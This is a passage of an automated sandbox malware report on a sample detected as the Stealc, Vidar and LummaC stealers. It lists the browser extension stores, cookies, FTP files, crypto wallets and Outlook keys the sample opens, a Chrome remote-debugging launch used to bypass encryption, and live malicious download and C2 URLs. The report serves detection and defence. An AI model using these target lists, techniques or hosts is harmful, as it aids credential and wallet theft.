Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 0000001C.00000003.2732544936.0000000000DCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2751559896.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7mpPLxE.exe PID: 8200, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 7mpPLxE.exe PID: 8200, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2057596576.0000000000961000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1504728979.0000000005290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2059475906.000000000163E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1548, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1548, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	247 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	751 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	51%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\7mpPLxE[1].exe	47%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	47%	ReversingLabs	Win32.Trojan.Symmi

Source	Detection	Scanner	Label
http://31.41.244.11/files/1724962075/7mpPLxE.exew	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe3	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dll$	100%	Avira URL Cloud	malware
http://31.41.244.11/files/1724962075/7mpPLxE.exe	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe(	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpfi	100%	Avira URL Cloud	malware
http://185.215.113.206/VM	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe5062coded	0%	Avira URL Cloud	safe
http://31.41.244.11/files/1724962075/7mpPLxE.exeXYZ0123456789	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe3b3U	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe86	0%	Avira URL Cloud	safe
http://31.41.244.11/files/1724962075/7mpPLxE.exeshqos.dll	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll4	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpD0	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllX	100%	Avira URL Cloud	malware
http://31.41.244.11/files/1724962075/7mpPLxE.exek	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
property-imper.sbs	172.67.162.84	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.106	true	false	high
www.google.com	172.217.21.36	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.97	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://sb.scorecardresearch.com/b?rn=1732502392390&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=05128E14A2366A7423409B56A39E6B9C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732502399168&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732502398295&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://c.msn.com/c.gif?rnd=1732502392389&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4f3640592da945fb8e4139e5d56ce40e&activityId=4f3640592da945fb8e4139e5d56ce40e&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=E6E83DFB2105462D923471FC65B8331A&MUID=05128E14A2366A7423409B56A39E6B9C	false	high
https://property-imper.sbs/api	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1789958815.0000000023C2B000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr, ECFCBKJD.0.dr, Web Data.10.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1789958815.0000000023C2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2059475906.00000000016D2000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr, ECFCBKJD.0.dr, Web Data.10.dr	false		high
http://31.41.244.11/files/1724962075/7mpPLxE.exew	skotes.exe, 0000001A.00000002.2751593438.000000000108C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe(	skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.broofa.com	chromecache_464.5.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll$	file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/0	000003.log9.10.dr	false		high
https://ntp.msn.com/_default	QuotaManager.10.dr	false		high
https://www.last.fm/	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
http://31.41.244.11/files/1724962075/7mpPLxE.exe	skotes.exe, 0000001A.00000002.2751593438.000000000107F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2751593438.000000000102B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.11.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.10.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.10.dr	false		high
http://31.41.244.11/files/random.exe3	skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/	manifest.json0.10.dr	false		high
https://www.youtube.com	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://www.instagram.com	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://drive.google.com/	manifest.json0.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpfi	file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.messenger.com	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
http://185.215.113.206/VM	file.exe, 00000000.00000002.2059475906.0000000001698000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.office.com/mail/compose?isExtension=true	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
http://www.microsoft.c	7mpPLxE.exe, 0000001C.00000002.2751559896.0000000000D8C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://i.y.qq.com/n2/m/index.html	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://www.deezer.com/	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
http://31.41.244.11/files/random.exe5062coded	skotes.exe, 0000001A.00000002.2751593438.00000000010D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org/	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://property-imper.sbs:443/api	7mpPLxE.exe, 0000001C.00000003.2732388335.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000002.2751559896.0000000000D19000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.10.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	DAFIEHIEGDHIDGDGHDHJJJDGHJ.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.10.dr	false		high
https://vibe.naver.com/today	e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
http://31.41.244.11/files/1724962075/7mpPLxE.exeXYZ0123456789	skotes.exe, 0000001A.00000002.2751593438.000000000107F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1789958815.0000000023C2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2059475906.00000000016D2000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr, ECFCBKJD.0.dr, Web Data.10.dr	false		high
http://31.41.244.11/files/random.exe3b3U	skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com	6c10faac-11e3-4352-830f-3be4db53e3b9.tmp.11.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	false		high
https://www.ecosia.org/newtab/	7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr	false		high
http://31.41.244.11/files/random.exe86	skotes.exe, 0000001A.00000002.2751593438.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.10.dr	false		high
